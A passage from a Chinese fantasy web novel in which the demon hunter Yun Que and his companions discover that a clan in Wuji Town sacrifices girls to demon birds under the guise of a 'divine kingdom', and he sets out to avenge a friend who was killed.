牧青瑶渐渐瞪大了眼睛。 “他喝掉半个池塘的水?”牧青瑶无比惊讶。 虽然池塘不是很大,但也有三丈方圆,至少一丈多深。 别说半池塘的水,就算半水缸的水,一个人也喝不进去啊! “是挺能喝的。”云缺自语道。 离开百玉城之后,在小溪处,门六就喝起个没完,好像对水有着一种疯狂的喜好。 没有修为,却能穿门而过。 身板瘦弱,却能豪饮如牛。 这个门六,绝非正常人。 云缺对别人的秘密没多少好奇心,只要能用得上就行,至于门六是什么奇特体质,他不在乎。 反正有用就行。 晌午的时候,门六用浮萍山现有的食材,做了一桌美味。 大多是山珍野兽,经过精心烹饪,味道一绝。 吃得三人一虎大呼痛快。 吃饱喝足,萍山君一拍桌子,道: “我决定了,陪你们走一趟天祈!郡主答应的行妖令,可得算数啊!” “一言九鼎,决不食言。”牧青瑶微笑道。 “还有一点,咱们丑话说在前头。”萍山君龇着虎牙道:“如果强敌当面,实在没活路了,我可先跑!” “可以。”牧青瑶痛快的道。 “那就行!咱们啥时候出发。”萍山君放心下来。 这趟天祈之行,它心里其实也没底,不过它对自己逃跑的速度还是有点信心的。 “离开百玉城已经两天了,咱们今天就走。”云缺道。 “百玉城经过上次的混乱,红莲教肯定不会罢休,定会加派人手。”牧青瑶蹙眉道。 云缺看向萍山君道:“红莲教在乌鸡镇安排了多少人手?” “这个不清楚,他们只让我在小石村设伏即可,如果你们不走百玉城这条路,乌鸡镇那边他们另有安排。”萍山君如实道。 “这次不走百玉城,我们走乌鸡镇。”云缺就此定下路线。 牧青瑶自然没有意见、 知远县这边的地形,云缺作为本地人最为熟悉。 其实走乌鸡镇,是云缺早就想好的打算。 与百玉城那种边关大城不同,乌鸡镇可没有高高的城墙,无需走镇子,从周围的荒山即可绕行过去。 有了萍山君同行,山林地带不再是问题。 离开浮萍山,一行人没有立刻上路,而是转向另一侧。 出发之前,云缺还要去一个地方,拿点东西。 萍山君变化出硕大的本体,载着三人在林间奔行,速度奇快。 牧青瑶显得十分新奇,小脸儿被迎面的狂风吹得红扑扑的。 七阶妖兽当坐骑,这种经历别说普通人,有修为的修行者也没有多少人经历过。 尤其还是个野生的七阶虎妖! 在没有驯服的情况,能骑乘七阶妖兽,牧青瑶觉得整个大晋国除了云缺之外,没有第二个人还有这种能耐了。 萍山君的速度远非马车可比,一个多时辰便狂奔出几百里,最后停在一座昏暗阴森的荒山下。 这座山没有名字,山脚处有一个天然的巨大山洞。 走进山洞能感受到寒风扑面。 昏暗的山洞加上阴冷的寒风,预示着此处绝非善地。 “这里叫黑风洞,曾经住着一头七阶的大蛤蟆,浮萍山附近的老虎,没少被抓到这里当点心。” 萍山君充当起向导,给牧青瑶介绍道。 牧青瑶随之想起了云缺在小石村与萍山君大战之际,虎妖曾经提及过这处黑风洞,并确信这里的七阶蛤蟆就是云缺砍死的。 云缺点起火把,大步走在前面。 火光映照下,显现出洞窟墙壁上深浅不一的凹陷与刀痕。 连牧青瑶都能看得出,这里发生过恶战。 “我说最近怎么没见那老蛤蟆出来蹦跶呢,你什么时候来的黑风洞?”萍山君道。 “一年前吧,当时百玉城有人卖增加气血的灵丹,我手头紧,没办法,只能到处找点外快。”云缺随意的说道。 萍山君听得头皮有点发麻。 手头紧,就来砍死七阶蛤蟆换钱,要是以后再缺钱,谁知道这个凶神会不会去浮萍山扒虎皮呀! 黑风洞尽头,是一个天然石窟,周围堆积着一圈兽骨,看样子都是妖物吃剩的。 在石窟一角,有个不大的泉眼,形成一处水洼。 云缺走到水洼前,挽起袖子开始捞东西。 牧青瑶凑过去瞧了眼,随后被吓了一跳。 水洼里有一些黑色的圆石头,枣子大小,石头略微透明,其内生着个大眼球,还能动! “这些石头,好像是活的?”牧青瑶道。 “这是蛙卵,不是石头。”云缺将一个蛙卵托在手心,笑道:“去年这玩意还没孵化,今年看着差不多了,正好收走。” 牧青瑶恍然大悟。 原来云缺捞的,是那头七阶蛤蟆妖的卵! “蛙卵,也能卖钱么?”牧青瑶道。 “一般人不认这种东西,皇城里应该有识货的,就算没人买也无所谓,七叔肯定能收。” 云缺拿出早就准备好的小袋子,将水里的蛙卵全都装好,总共十个。 牧青瑶能清晰感受到蛙卵散发的妖气,离开水洼后,蛙卵里的眼睛瞪得极大,好似在愤怒,看起来十分骇人。 “既然快孵化了,带在身边,会不会有危险?”牧青瑶下意识的说出担忧。 云缺不以为意的解说道: “离了水,蛙卵一般会停止孵化,进入类似冬眠的状态,即便孵化出来也没事,直接烤了吃,这东西味道不错的。” 牧青瑶现出苦笑。 她忘了眼前的可不是普通人,而是青狐山的猎妖人! 吃妖这种事,在别人眼里实在无法想象,但放在云缺身上,就显得正常不过了。 猎人嘛,哪有不吃猎物的。 云缺这边收取蛙卵,门六一直蹲在旁边,盯着水洼眼神发直。 好像要尝尝孵化蛙卵的那滩水。 等所有蛙卵都装好,门六开始抻着脖子往水洼里凑。 “这水你也喝啊,不怕被毒死。”云缺道。 “看到水就渴,呵呵不喝了不喝了。”门六恋恋不舍的看着水洼道。 随后几人走出黑风洞。 萍山君走在最后,时不时的回头,嘀嘀咕咕道: “宰了老的,卖了小的,真狠呐……” 萍山君有一种兔死狐悲的感慨。 别人杀妖,杀掉就完了。 云缺杀妖,杀的那叫一个干干净净,恨不得把妖洞里的地皮都刮掉一层,简直是寸草不留! 萍山君心里涌起一阵庆幸。 这些年幸好没和云缺太过交恶,否则它的浮萍山方圆百里之内,怕是一只老虎都剩不下。 包括它自己。 洞口。 云缺大声道: “启程,天祈!” 从现在开始,云缺唯一的目标,是将牧青瑶活着带到天祈皇城。 萍山君傲气道: “此行肯定一帆风顺!郡主的安全就交给本王了,郡主放心,即便沐浴的时候本王也会守在门口,肯定不会让贼人偷看了去!” 这话云缺就不爱听了。 “你该不会自己想看,贼喊捉贼吧。” 萍山君怒道:“我要看也看母老虎啊!女人有什么好看的,长得都一个样,母老虎就不同了,有的威猛有的苗条简直风情万种!” 牧青瑶听得忍俊不禁,强忍着笑。 毕竟人家是虎类,总不好笑话人家的审美。 一虎,三人,就此启程。 大半天后,便抵达了乌鸡镇附近。 云缺本打算从乌鸡镇边缘地带绕行过去,却在山林里遇到一个熟人。 第38章 一座木屋一条命 乌鸡镇外的荒山里,生着一个小火堆。 烟雾渺渺。 一个六七岁大小,脸上长着雀斑的瘦小女娃正在火堆前用力的吹着气。 “呼!呼!烟够大了呀,怎么还不来呢。” 女娃吹得累了,四仰八叉躺在草地上,望着头顶的烟柱发呆。 她已经持续在这里生火有一个月了,每天都来,附近的干树枝都被用光,很难再找到。 女娃头顶,忽然多出一张冷峻的面孔,皱着眉。 “你在这放火,准备烧山么?” 女娃睁大了眼睛,惊喜着大叫道: “云大哥!你终于来啦!” 女娃急忙爬起来,一时没站稳差点跌进火堆里。 云缺正准备从这里绕路乌鸡镇,看到女娃才过来看看情况。 这个小女娃他认得。 是乌鸡镇上的人,叫小豆丁,没有父母,家里只有个姐姐。 “什么叫我终于来了,你在这放火,该不会专门等我吧。”云缺狐疑道。 “是呀!姐姐说这叫狼烟,云大哥看到一定会来的!”小豆丁抓着云缺的手,大声道。 “狼烟?”云缺好笑道:“你这烟火,只比厨子做菜的烟浓那么一丁点,狼见了都不怕,还狼烟。” “就是狼烟!能等来云大哥的,一定是狼烟!”小豆丁很认真的道。 “行吧,你说是狼烟就是狼烟,别烧到自己,你慢慢玩,我走了。”云缺摆手道。 “别走呀云大哥!我等你好久了,你一定要帮我把姐姐抢回来!”小豆丁不撒手。 云缺一脸无奈,道: “你姐又怎么了,你们两个能不能安生点,别到处惹事。” “姐姐在乌家寨里,我要不回来,云大哥帮帮我!”小豆丁哀求道。 “你姐又不是没有腿,她自己会走回来,你回家等着就行了。”云缺不耐烦的敷衍道。 小豆丁姐妹俩,在乌鸡镇可不是省油的灯。 别看人不大,主意多得很,经常耍得同龄的孩子团团转。 “姐姐回不来了,我知道她在哪!可惜我太小,进不去。”小豆丁道。 见小女娃苦苦哀求,牧青瑶于心不忍的道: “帮帮她吧。” 云缺瞪了牧青瑶一眼。 他本不想去乌鸡镇,只要绕过去就能少很多麻烦。 不过熟人相求,云缺也不好丢下小豆丁就走,只好答应下来。 小豆丁高兴起来,蹦蹦跳跳在前面带路,引着几人来到自己家里。 萍山君早已化作人形,为了遮蔽虎头,事先准备了大号儿的斗笠,带着一圈黑纱的那种,否则它这副尊容非得把小豆丁吓个半死。 小豆丁的家离着山脚不远,属于镇子边缘地带,屋后就是荒林,没什么人在这走动,十分僻静。 院子不大,两间干净的木屋。 乌鸡镇的人都住木屋,这里很少能看到砖瓦,尤其镇子中心的乌家寨,完全是木质结构。 云缺轻车熟路的进了院子,先去房后的水井打了水,分给几人。 “你们都是云大哥的朋友,我去给你们找点吃的!”小豆丁跑到另一间木屋翻找起来。 “来过这里?”牧青瑶看向云缺,道。 “住过几次,乌鸡镇的民风比较奇特,不大欢迎外人,这边没有客栈,我在附近打猎的时候,晚上有时候会住在她们家。”云缺喝着水道。 “既然乌鸡镇的人不喜欢外人,她们姐妹为何会欢迎你呢。”牧青瑶好奇道。 “我帮过她姐一次,一年前的事儿了,当时她姐也在树林里点狼烟,嘀嘀咕咕的祈祷,说什么请求天神相助,我正好尿急,于是帮忙把火堆给熄了,她姐还以为真有天神下凡,朝着火堆磕了半天头。”云缺道。 牧青瑶很想翻个白眼。 明明戏耍人家女孩子,非得说成帮忙。 牧青瑶都能想象到当时的画面,小豆丁的姐姐发现有人捣乱后,肯定气得咬牙切齿。 “你可真帮了一个好忙,人家祈祷天神,一定遇到了难以解决的困境。”牧青瑶略带埋怨的道。 “郡主既然如此聪明,不妨猜猜小豆丁她姐遇到了什么困境。”云缺道。 牧青瑶蹙起秀眉,略一思索,道: “两姐妹相依为命,无依无靠,应该是生存上的困境,或许食物不足难以过冬,或许被人欺负有家难回。” 云缺摇头道:“不对,让你猜三天三夜,你也猜不到。” 牧青瑶闻言诧异道:“莫非是生死之劫?” “差不多了,她姐被选中成为祭品,乌鸡镇每个月至少一次大祭,祭品就是少女。”云缺道。 牧青瑶的神色为之一变。 此时她已经从云缺说出的祭品与大祭,联想到了血玉由来。 龙尾雉吃掉活人才会产蛋,蛋中生血玉,那么乌鸡镇的大祭,就是为杀人做出的掩饰! “你出手帮忙了。”牧青瑶道。 如果云缺不出手,小豆丁的姐姐肯定活不到现在。 “是啊,那只老母鸡的嘴巴被我砍了一刀,因此得罪乌家,人是救下了,可这里更不欢迎我了。”云缺道。 萍山君听罢现出恍然之色,道: “难怪上次我来偷酒的时候,看到一只杂毛鸡嘴巴上有一条疤痕,原来是你砍的啊!还是你云缺够胆量,我偷了酒只能跑,你还敢砍那两只杂毛鸡!” “有什么不敢的,拿我朋友当祭品,我怎么不得表示表示。”云缺呵呵笑道。 萍山君无话可说,竖起两根大拇指,佩服得五体投地。 它充其量偷偷摸摸抢一桶好酒,云缺可是纯粹的虎口拔牙啊,连乌家的祭品都敢抢! 牧青瑶此刻已经看懂了云缺的举动。 给龙尾雉留下的一刀印记,是一种震慑。 震慑乌家,以后别打小豆丁家姐妹的主意。 很快牧青瑶又疑惑不解,道:“乌家不是用自家人做祭品么,怎么牵连了镇上的百姓?” “在乌鸡镇,大部分百姓都姓乌,小豆丁她们姐妹虽然是孤儿,也姓乌。” 云缺冷笑了一声,道: “用自家人做祭品,只是个对外的说辞罢了,乌家盘踞乌鸡镇多年,早将大部分百姓发展成乌姓,一些孤儿乞丐无家可归之人,乌家会赠送屋舍,但有个条件,必须冠以乌家之姓,从此成为乌家人,用这个法子,乌家自然会不断壮大,祭品也会越来越多。” 牧青瑶紧锁着秀眉,看了看廉价简易的木头房子。 一座木屋,便能买下一条命! 乌家的这种买卖,比起世上最贪财的奸商也不遑多让。 小豆丁神色落魄的走了进来,手里拿着几个干瘪的果子,也不知存放了多少天。 “姐姐摘的果子,好像不能吃了。”小豆丁憋着小嘴,充满歉意的道。 “能吃的,我们带在路上吃。”牧青瑶善解人意,接过果子收好。 云缺也拿了个果子,在手里把玩道: “小豆丁,最近乌鸡镇有没有外来人。” “没有哇!除了你们之外,没别的人来。”小豆丁肯定的道。 云缺微微皱眉。 小豆丁的消息,是比较灵通的,毕竟这丫头整天在外面疯跑,镇子上的事大多会知道。 既然没有外人,说明红莲教没来。 但乌鸡镇与百玉城都是前往皇城的必经之地,红莲教在百玉城设下那么大的阵仗,怎么可能对乌鸡镇不闻不问呢。 “云大哥,我们现在出发吧!”小豆丁催促道。 不等云缺点头,牧青瑶道:“我也去,也许能帮上忙。” 云缺一脸苦涩。 你去不是帮忙,是添乱。 “姐姐也肯帮我吗!”小豆丁高兴起来,两只眼睛全是期待。 “云缺的朋友,也是我的朋友。”牧青瑶微笑道。 “太好了!你等着,我找一套衣服来!” 小豆丁翻箱倒柜,找出一套她姐姐的衣服,面料上绣着复杂的花纹,还有一个漂亮而硕大的帽子。 这是乌鸡镇居民的传统服饰,大多在年节等重要日子穿戴,平常也有人穿着上街,只是小门小户的人家大多只有一套,舍不得穿,留在过年的时候才会拿出来。 牧青瑶到隔壁换好衣服,果然成了本地人,不认识的绝对想不到这是灵芸郡主。 穿着乌家服饰的小郡主,别有一番风情,美丽中透着一种神秘,展颜一笑,动人心魄。 “真好看!”小豆丁夸赞道:“你穿这套衣服,好像我姐姐呀!” “你姐姐一定也很美。”牧青瑶微笑道。 “嗯!我姐姐和你一样漂亮!”小豆丁认真的点头道。 云缺让萍山君和门六在小豆丁家等着,三人走上街头。 乌鸡镇,建立有上百年之久,属于知远县内历史最古老的镇子之一。 乌鸡镇很大,居民十余万之多,街上行人不少,不过买卖店铺却不多。 这里的人,大多自给自足,很少有人做买卖。 由于牧青瑶穿着乌家服饰,云缺是个男人也不显眼,一路上果然没人怀疑,顺利的走出长街,来到乌家寨区域。 乌家寨与乌鸡镇截然不同,外围用无数硬木搭建成高高的寨墙。 乌家寨正门守卫森严,拥有乌家血脉的族人才能居住于此,外人是进不去的。 在小豆丁的带领下,三人绕到寨子后方。 小豆丁仔细在寨墙上寻找,很快找到一块硬木,道: “就是这里!姐姐就在里面,我用小刀挖过好久,可惜挖不断。” 这里比较偏僻,几乎没有行人,云缺左右看了看没人,示意小豆丁退后。 随后一刀下去,将坚固的硬木斩断。 木头断了,寨墙纹丝不动,毕竟是串联起来的一排硬木,相当于在后边开了个小门。 云缺将断木挪开,立刻现出一个能容一人通行的缝隙,只要弯着腰即可通行。 小豆丁当先冲了进去。 牧青瑶跟在后面,云缺最后进的,随手将断木挡在豁口,这样从外面很难发现痕迹。 如此谨慎,云缺是不想惹麻烦。 把小豆丁的姐姐救出来之后,他会立刻离开乌鸡镇。 然而进去之后,云缺终于看清所在之地。 这里是一间空旷的木屋,屋子里没有活人,只堆积着一种东西。 白骨! 整整齐齐,一幅又一幅瘦小的白骨! 牧青瑶怔怔站在原地,小豆丁则在到处翻找着白骨。 “乌灵儿呢。” 云缺的声音十分低沉,有些沙哑。 乌灵儿就是小豆丁的姐姐。 “就在这里!我能找得到的,很快的!” 小豆丁忙得满头大汗,在白骨间不断翻找。 随着小女娃的动作,云缺的目光一点一点的阴沉下来。 第39章 神国圣子 终于,小豆丁在角落里找出一副骨骸。 “找到了!这就是姐姐!” 牧青瑶此刻已经震惊得说不出话来。 她始终以为小豆丁的姐姐惹了什么祸被抓到这里,谁成想已经变成一幅遗骸。 原来小豆丁之前说过的姐姐回不来了,意思是姐姐已经死了! 云缺的脸上没有丝毫表情,目光冷冽如冰。 一句话没说,云缺拿出装狼皮的黑袋子,将白骨罩上,转身离开此地。 小豆丁家里。 门六如坐针毡,时不时瞄一眼门外。 屋里只剩他和萍山君。 跟一头虎妖共处一室够吓人了,偏偏门六能听到萍山君的肚子咕噜噜直叫。 人家显然饿了。 “吃点什么好呢。”萍山君看着门六道。 门六吓得一哆嗦,连忙道:“不如咱们去镇上买点食材,我很快能做好饭菜!” “算了吧,乌鸡镇不是好地方,看看这家有啥吃的,对付弄点。”萍山君道。 门六连忙称好,在院子里转了一圈,除了一些干瘪的果子之外,什么吃的也没找到。 门六欲哭无泪。 找不到食物,他容易成为食物。 院门一响,云缺几人正好回来。 门六长出一口气。 萍山君觉得奇怪,道: “没找到人?” 小豆丁道:“找到了!我把姐姐接回来啦!” 萍山君听得愈发迷糊,问道:“人呢?” 当云缺将白骨从袋子里拿出来,萍山君也不吭声了,并且往旁边挪了挪椅子。 萍山君能看得出云缺此刻的状态不对。 尽管没有表情,身上的杀气却浓烈得惊人。 牧青瑶的心情始终在起伏不定,她察觉到云缺整个人处于一种压抑的状态,仿佛随时都会爆发。 再望向小豆丁找回姐姐的高兴神态,牧青瑶觉得心情愈发沉重。 “你姐姐,怎么死的。” 牧青瑶声音很轻的道,替自己也替云缺问出这份疑惑。 “姐姐没死啊,姐姐只是去了神国!” 小豆丁抱着白骨,天真的道:“我被天神选中成为圣子,是姐姐哀求族长,把我替换下来,她替我去了乌家寨,姐姐现在一定在神国里!族长说,被天神选中的圣子都会在神国得到永生!” 小豆丁只有六七岁,年纪太小,加上乌家多年来的族规与洗脑,理所当然的认为圣子只是换了个世界存在,到了更加美好的地方生活。 然而牧青瑶又何尝不知,所谓的圣子,只是乌家用来选择祭品的一个借口! 乌家寨里那些成为白骨的圣子,是被乌家豢养的妖兽所吞杀而亡! 牧青瑶眼圈发红。 她只看到白骨,却看不到幽魂,说明那些被妖物吞杀的祭品,连神魂都不剩。 “剩菜非得说成圣子,哼,人果然比妖虚伪得多。”萍山君在一旁嘀咕了一句。 它要吃人的话,肯定明说,还会说明怎么个吃法儿,红烧还是清蒸,任君选择。 小豆丁将白骨放在床上,道:“姐姐,我们回家啦,不用在外面挨冻了。” 天色渐晚,外面起了风。 木质的屋子看似牢固,其实四下透风,屋子里并不暖和。 很冷。 云缺不说话,其他人也不敢吭声。 气氛压抑得可怕。 连萍山君这头虎妖都觉得坐在屋子里不大自在。 “神国好哇,没有痛苦,自由自在,无忧无虑。” 云缺忽然笑了起来,只是笑容冷冽。 小豆丁赞同的狠狠点头道:“对呀!族长说神国是最好的地方,我们乌家人谁先去神国,谁最幸运!我以后也会去神国找姐姐!” “在神国见到你姐姐后,给我带个话,告诉她别点什么狼烟了。” 云缺微笑着道:“狼烟求不来天神,也招不来我,上次帮她,纯属路过,你们在乌鸡镇点的狼烟,青狐山上看不到。” “可是云大哥来了呀!姐姐说心诚则灵,只要心里一直想着喜欢的人,一定会相遇的!”小豆丁固执的道。 “你姐姐走了多久。”云缺道。 “一个多月,我天天在后山点狼烟,附近的树枝都用没了。”小豆丁道。 “以后你也别点狼烟了,我要去很远的地方,看不到的。”云缺道。 “哦……云大哥不回来了么?”小豆丁有点难过的道。 “回来,我的坟在青狐山,我得埋在坟里才行。”云缺笑道。 “我想把姐姐埋在院子里,这样我就能天天看到她了!”小豆丁道。 云缺望向白骨,道: “小豆丁,你确定这是你姐姐的遗骨?那么多遗骨都一个样,别弄错了。” “不会的!” 小豆丁抓起白骨的左手,道:“云大哥你看,姐姐的手背上刻着字呢!” 随着小豆丁的指点,众人果然看到白骨手背上刻着一个清晰可辨的字迹。 云! 无论大晋还是大燕,在身上刻字的不少,雕龙刻凤的也大有人在,街边混混经常刻一条花臂来彰显凶狠。 正常人在身上刻的字迹与图案,都刻在皮肉上而已。 没人会把字迹刻进骨头。 那绝非常人能忍受的痛苦,真正的刻骨铭心! “为什么刻个云字。”云缺声音变得低沉下来。 “姐姐发过誓!她说这辈子只会嫁给云大哥一个人,云大哥如果不娶的话,姐姐就一辈子不嫁人,所以在手背上刻下云大哥的姓氏,我问她疼不疼,她说不疼,但我看到姐姐偷偷哭了好多天,一定很疼的!” 小豆丁说得很认真,一旁的牧青瑶已然转过脸去,默默擦了下眼角的泪痕。 如此痴情的女孩,如今却只剩一副白骨。 造化弄人。 云缺抓起白骨的左手,摩挲着手背上深深的刻痕,嘴角渐渐泛起回忆的笑意。 这只手,他牵过。 当时乌灵儿被绑在花车上,送进乌家寨。 云缺从龙尾雉的嘴底下,把乌灵儿给抢了回来。 那一晚,云缺拉着乌灵儿,刀指妖禽,给乌家留下一句话。 ‘你们拿什么喂鸡,我不管,拿我朋友喂鸡的话,先问问我这把刀。’ 本以为青狐山猎妖人的名号,足以震慑乌家寨,保住乌灵儿姐妹,不料时隔一年,已成永诀。 小豆丁从一个箱子里翻找出一套叠得整整齐齐的大红嫁衣,道: “姐姐自己做的嫁衣,她说嫁给云大哥的时候再穿,让我保密,姐姐去了神国,穿不上了,我想让姐姐穿着嫁衣下葬,她好喜欢这套衣服的,平常都不让我碰!” “呵,呵呵……死人穿什么嫁衣!” 云缺一把将嫁衣抓过来扔在一旁,冷声道:“没有神国!你们家主一直在欺骗你们,所谓的圣子其实是妖兽的食物!你姐姐被乌家寨里那两头妖物吃了,从头吃到脚!浑身所有血肉一点不剩!” 面对云缺的怒吼,小豆丁听傻了,呆滞的站在原地。 小女娃从未想象过那种被妖物活活吃掉的惨烈模样,她始终以为姐姐走得毫无痛苦,正在神国享福。 “不会的……不会的!姐姐没有死,姐姐在神国!呜呜呜!” 小豆丁大哭起来。 “若有神国,世上就不会如地狱般的模样,妖该死,但有些人,更该死!”云缺冷声道。 戳破了小豆丁的幻想,是残忍的。 可是让小豆丁始终活在不切实际的幻想里,更加残忍。 因为她早晚会明白真相。 牧青瑶含着泪,将小豆丁搂在怀里,安慰道: “虽然没有神国,但你姐姐会去往忘川,再次轮回,下辈子,她一定会更漂亮,更幸福……” 门六低着头沉浸在悲伤的情绪中,萍山君也觉得心里不是个滋味,摇了摇硕大的虎头,叹息一声。 人,才有悲欢离合。 自从生出灵智以来,萍山君始终难以理解人族的悲欢。 毕竟它是虎妖,它所理解的悲欢,在于能不能吃饱饭。 吃饱了就欢,没吃的就悲,简单干脆。 可人,就复杂多了。 太多的羁绊,太多的牵挂,太多的无奈…… 黄昏时分,院子外传来车马响动。 有人高呼道: “天神显圣,圣子降临!花车以至,神国永生!居于此处之人听真,你被天神选中成为圣子,还不速速跪谢!” 小豆丁一听,连忙抹干眼泪,急匆匆跑出屋去。 乌鸡镇的人早已熟悉这套说辞,但凡听到的,都将成为圣子,被送去乌家寨。 云缺几人在屋子里没动,默默的听着。 透过窗户缝隙,能看到院外是十几人的队伍,为首的是名长须老者,长得慈眉善目,穿着长长的袍子。 此人是乌家寨的长老,名叫乌星。 见到小豆丁后,乌星命人将一个水盆大小的莲花留在门口。 莲花是红纸糊的,下面是木头底座,好似个莲台。 小豆丁跪在莲台前,神态拘谨,不敢抬头。 乌家寨的长老,是家主之下第一人,在乌鸡镇威望极高,可以说一言九鼎。 “好运的娃儿,能被天神选中,是你的福气,很快你就能在神国与你姐姐团聚了。” 乌星微笑着摸向小豆丁的头。 如果是平常,小豆丁不敢躲也不会躲,因为神国的存在,早已深深烙印在她这种小孩子的心里。 刚才云缺揭露了残酷的事实,小豆丁下意识的缩了下脖子,避开大长老的手。 乌星的手停在半空,温和的眼底闪过一丝冷意,瞬间被他掩饰下去,仍旧微笑道: “今晚大祭,好好清洗凡躯,莫要耽误了时辰。” 留下一句带有警告意味的叮嘱,乌星带着人扬长而去。 第40章 白骨新娘 等乌家长老走远,小豆丁才敢起身。 强忍着眼泪跑回屋子里。 “云大哥,我不能招待你了,我要去乌家寨了。” 小豆丁低着头,说着说着,眼泪噼里啪啦往下掉,倔强的不肯哭出声来。 萍山君实在看不下去,怒道: “吃一个还不够,非得全家都吃了才行啊!我吃东西都得留几个活口,省得吃绝喽以后吃不到,乌家寨这是他娘的灭门呢!” 牧青瑶沉吟道:“小豆丁,你们乌鸡镇的习俗,是不是选出的圣子,都要留下莲台?” 小豆丁哭着点头道:“等我洗干净后,要坐在门口的莲台里等着上花车,然后被抬到乌家寨。” “红色的莲台,红莲教……”牧青瑶沉声道。 门口那红色莲台,实在太过扎眼。 平常看不到,只有选出圣子进行大祭的时候才会出现。 乌家的习俗,不知传承多少年,可真正的意义未必只是个习俗那么简单。 否则为何不用其他的花台,不用其他的颜色,偏偏用了红色的莲花台。 加上小豆丁说过,最近镇子里没来过外人,牧青瑶此刻已经能断定,乌家寨,与红莲教绝对有关。 之所以红莲教没派遣高手前来设伏,是因为整个乌家寨都是红莲教的人! 想到这里,牧青瑶不由得泛起一阵后怕。 幸亏当时走的百玉城,有机会与红莲教的人周旋一二。 如果当初走乌鸡镇,恐怕一进镇子就会被乌家寨围攻,相当于一步踏进龙潭虎穴,想要逃走难如登天。 乌家寨既然敢养着龙尾雉,说明乌家至少存在着七品程度的高手,否则很难压制住七阶的妖兽。 牧青瑶的心思在快速盘算,很快得到个最佳方案。 “我们把小豆丁带走,去远些的城镇再把她安顿下来,这样既能避免与乌家寨冲突,又能免于小豆丁被当做祭品的命运。” 牧青瑶说出自己的建议,门六与萍山君听得连连点头。 门六除了能穿门之外,没别的有用之处,真打起来自身难保。 萍山君对乌家寨极为忌惮,偷了一次酒,就再也不敢来了,让它面对两头七阶巅峰的龙尾雉,它肯定不干。 云缺没说话。 而是拿出那个干瘪的果子,狠狠咬了一大口。 果子之所以干瘪,是放了太久的缘故。 乌灵儿死去了一个多月,生前摘的果子,自然成了如此模样。 “甜的。” 云缺大口嚼着果肉,嘴角挂着奇怪的笑容。 萍山君看得眼皮直跳,生怕云缺一冲动提着刀去砍人,连忙提醒道: “乌家寨不好惹!不仅那两头龙尾雉战力惊人,他们家主也不是省油的灯,我估计乌人杰那老家伙至少也有七品修为!而且不像儒道两家,没准与巫修有关,七品巫修加上两头七阶巅峰的龙尾雉,咱们肯定斗不过!” 萍山君口中的乌人杰,便是乌家寨的寨主,也是乌家的家主。 说完萍山君踢了旁边的门六一脚。 门六看了看萍山君,疑惑半晌才反应过来,连忙道: “大事化小,小事化了!咱们是外来人最好别惹事,人家的习俗,与我们无关呀,趁着现在没危险,咱们赶紧走吧!” “当然得走。” 云缺吃完干瘪的果子,擦了擦嘴道:“不过走之前,我有件事要办。” 这话一说,萍山君和门六心里立刻咯噔一声。 牧青瑶的神色反而轻松了不少,轻轻抓住云缺的手腕道: “你想做什么,我陪你。” “真的?”云缺笑道。 “当然是真的,只要你不嫌弃我是个累赘。”牧青瑶声音很轻,但神色凝重。 “我去娶媳妇,你是不是也要陪着。”云缺好似玩笑般说道。 牧青瑶诧异了一下,但很快她想到了什么,没有回答,反而重重的点了下头。 生死与共,奉陪到底! 云缺将目光转向萍山君与门六,道: “待会儿二位还得帮个忙。” 萍山君和门六连连点头,反正这里你说了算。 天色很快暗了下来。 不久后,门外再次来人。 这次是四个乌家人,抬着一顶小轿,小轿用花朵装饰,看起来很是喜庆。 “时辰已到,圣子上路!” 门外传来的高声吆喝,听着好听,可上的路,却是黄泉路。 嘎吱。 屋门打开,小豆丁畏畏缩缩的走了出来,身旁跟着黑衣少年。 抬轿子的乌家人看到云缺,立刻面露不善。 他们不认得云缺,却知道小豆丁家里已经没有了家人。 “几位,能不能通融通融,我家小妹不太想去神国,你们换个圣子如何。”云缺笑容可掬的道。 “放屁!”一名乌家人冷着脸道:“天神选的圣子,你说换就换?你是什么东西!” “这里是乌鸡镇,容不得外来人,胆敢扰乱乌家大祭,你死罪难逃!”另一名乌家人冷哼道。 “有话好说嘛,凡事好商量,反正你们经常选圣子,重选一个又不麻烦。”云缺笑道。 “你不是乌鸡镇的人,敢在我们乌家寨眼前撒野,你他吗有几颗脑袋?” “少跟我们废话!耽搁了大祭,你小子别想活着离开乌鸡镇!” 另外两名乌家人张嘴就骂,根本没把云缺这个外来者放在眼里。 “行行行,我不惹事,你们接走圣子就好。”云缺笑着拉开了小豆丁。 四人见状不明所以。 让我们接人,你却把人拉开了? “怎么,你打算强抢圣子!”最先开口的乌家人冷声道。 “不抢啊,入乡随俗嘛,既然你们乌家大祭,带走圣子好了,我这个外人只当看个热闹。”云缺道。 “那你护着圣子做什么!把她交出来!”乌家人冷喝道。 “她不是圣子啊,你们搞错了。”云缺义正言辞的道。 “莲台在此,岂能有错!你分明是想捣乱!”乌家人怒喝道。 “真不是她,我没捣乱,刚刚你们的天神托梦给我,告诉我今天真正的圣子是谁。”云缺笑道。 “是谁?”乌家人顺着话问了句。 云缺呵呵一笑,道:“是你娘啊。” 一句话,彻底惹恼了四个乌家人。 “狗东西!敢在乌家寨放肆,砍了他!” “扰乱大祭就是死罪!杀了他!” 四名乌家人齐齐抽出长刀,二话不说照着云缺就砍。 乌鸡镇民风彪悍,往往一言不合就大打出手,这也是外人很少来乌鸡镇的一个原因。 而乌家寨的乌家嫡系,早养成了高高在上的习惯,他们乌家在乌鸡镇就是土皇帝,乌家的命令就是圣旨,没人敢不听! 尤其重要的大祭,谁敢打扰,就是触了乌家的逆鳞。 因为大祭的缘故而杀掉外人,在乌鸡镇已经发生过多次,这里没有官府,尸体往郊外一埋,神不知鬼不觉,没人知道。 即便镇上百姓看到乌家人行凶,也不敢多说什么。 毕竟在这里,乌家才是真正的主人。 不过这一次,乌家的四个嫡系族人踢到了铁板。 他们的确民风彪悍,但青狐山的猎妖人,更加凶悍! 迎着斩来的四把钢刀,云缺身形一动,悍然出手。 只用刀鞘,一个照面就将四人的脖子相继砸断。 四人的脑袋直接弯曲到身后,尸体纷纷跌倒,死得那叫一个痛快。 站在门口,云缺看了看手里的长刀,低语道: “砍了十几年的妖,也该砍人了。” 让小豆丁回屋,云缺将门口的大红莲台用绳子穿起来,绑在自己身前,好似个大红花一样,不伦不类。 “吉时已到!” 云缺的声音带着凛冽寒意:“上路,娶亲!” 这一晚,乌鸡镇的百姓们看到了一幕奇观。 一个带着硕大斗笠的壮汉和一个瘦小邋遢的汉子,扛着一架花轿。 前面走着一名黑衣少年。 少年身前绑着大红的莲花,犹如个新郎官一样,一路上始终面带微笑,可那笑容任谁看了都会觉得不寒而栗。 